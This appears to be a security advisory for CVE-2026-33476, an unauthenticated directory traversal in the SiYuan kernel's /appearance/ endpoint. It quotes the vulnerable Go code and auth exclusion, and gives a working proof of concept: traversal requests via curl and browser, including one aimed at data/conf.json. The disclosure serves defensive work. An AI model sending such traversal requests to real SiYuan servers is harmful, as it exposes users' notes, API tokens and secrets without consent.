CVE-2026-33476
Summary
The Siyuan kernel exposes an unauthenticated file-serving endpoint under */appearance/filepath.**
Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.
Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.
Details
Vulnerable Code Location
File: kernel/server/serve.go
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
filePath := filepath.Join(
appearancePath,
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
)
...
c.File(filePath)
})
Technical Root Cause
The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.
Key issues:
1. Unsanitized User Input
The path component extracted from the request is not validated or normalized to prevent traversal.
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")This preserves sequences such as:
../
..\ (Windows)2. Unsafe Path Joining
filepath.Join() does not enforce directory confinement.
This escapes the intended directory.
3. Direct File Serving
The resolved path is served without verification:
c.File(filePath)Authentication Bypass (Unauthenticated Access)
Authentication middleware explicitly skips /appearance/ requests.
File: session.go
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
c.Next()
return
}This allows attackers to access the vulnerable endpoint without a session or token.
Exploitation Scenario
A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.
Example request:
GET /appearance/../../data/conf.json HTTP/1.1
Host: targetBecause authentication is bypassed, the attack requires no credentials.
PoC
Step 1 — Create marker file
mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txtStep 2 — Run SiYuan container
docker run -d \
-p 6806:6806 \
-e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan \
--workspace=/siyuan/workspaceStep 3 — Confirm service works
Open in browser:
http://127.0.0.1:6806Exploit PoC
Method A — using CURL command
Use --path-as-is so curl does NOT normalize ../.
curl -v --path-as-is \
"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"Output
HTTP/1.1 200 OK
POC_EXPLOITEDMethod B — Using Browser
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txtIf method B is not working, use method A, which is CURL command to do the exploit
Impact
An unauthenticated attacker can read arbitrary files accessible to the server process, including:
- Workspace configuration files
- User notes and stored data
- API tokens and secrets
- Local system files (depending on permissions)
This may lead to:
- Sensitive information disclosure
- Credential leakage
- Further compromise through exposed secrets
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7, https://nvd.nist.gov/vuln/detail/CVE-2026-33476, https://github.com/siyuan-note/siyuan/commit/009bb598b3beccc972aa5f1ed88b3b224326bf2a, https://github.com/siyuan-note/siyuan
